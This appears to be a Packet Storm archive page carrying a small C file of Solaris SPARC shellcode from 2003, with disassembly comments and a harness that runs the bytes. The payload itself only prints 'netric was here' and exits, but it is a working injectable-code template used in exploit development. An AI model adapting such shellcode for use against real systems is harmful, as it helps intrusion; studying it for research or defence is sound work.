Exploit the possiblities

sparc-write.c

sparc-write.c
Posted Apr 2, 2003
Authored by eSDee, netric | Site netric.org

Solaris Sparc shellcode that writes netric was here.

tags | shellcode
systems | solaris
MD5 | 262196f390d97ac4640bab80dae40664

sparc-write.c

Change Mirror Download
/* Solaris sparc shellcode by eSDee of Netric (www.netric.org)
* write(stdout,"netric was here\n", 16); exit();
*/

#include <stdio.h>

char
shellcode[]=

// write(stdout,"netric was here\n", 16);

"\x90\x10\x20\x01" // mov 1, %o0
"\x21\x1b\x99\x5d" // sethi %hi(0x6e657400), %l0
"\xa0\x14\x20\x72" // or %l0, 0x72, %l0 ! 0x6e657472
"\x23\x1a\x58\xc8" // sethi %hi(0x69632000), %l1
"\xa2\x14\x60\x77" // or %l1, 0x77, %l1 ! 0x69632077
"\x25\x18\x5c\xc8" // sethi %hi(0x61732000), %l2
"\xa4\x14\xa0\x68" // or %l2, 0x68, %l2 ! 0x61732068
"\x27\x19\x5c\x99" // sethi %hi(0x65726400), %l3
"\xa6\x14\xe1\x0a" // or %l3, 0x10a, %l3 ! 0x6572650a
"\x92\x23\xa0\x10" // sub %sp, 0x10, %o1
"\xe0\x3b\xbf\xf0" // std %l0, [ %sp + -16 ]
"\xe4\x3b\xbf\xf8" // std %l2, [ %sp + -8 ]
"\x94\x10\x20\x10" // mov 0x10, %o2
"\x82\x10\x20\x04" // mov 4, %g1
"\x91\xd0\x20\x08" // ta 8

// exit();

"\x82\x10\x20\x01" // mov 1, %g1
"\x91\xd0\x20\x08"; // ta 8


int
main()
{
void (*funct) ();
(long) funct = &shellcode;
funct();
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    15 Files
  • 2
    Dec 2nd
    2 Files
  • 3
    Dec 3rd
    1 Files
  • 4
    Dec 4th
    15 Files
  • 5
    Dec 5th
    15 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    17 Files
  • 8
    Dec 8th
    15 Files
  • 9
    Dec 9th
    13 Files
  • 10
    Dec 10th
    4 Files
  • 11
    Dec 11th
    41 Files
  • 12
    Dec 12th
    44 Files
  • 13
    Dec 13th
    25 Files
  • 14
    Dec 14th
    15 Files
  • 15
    Dec 15th
    28 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close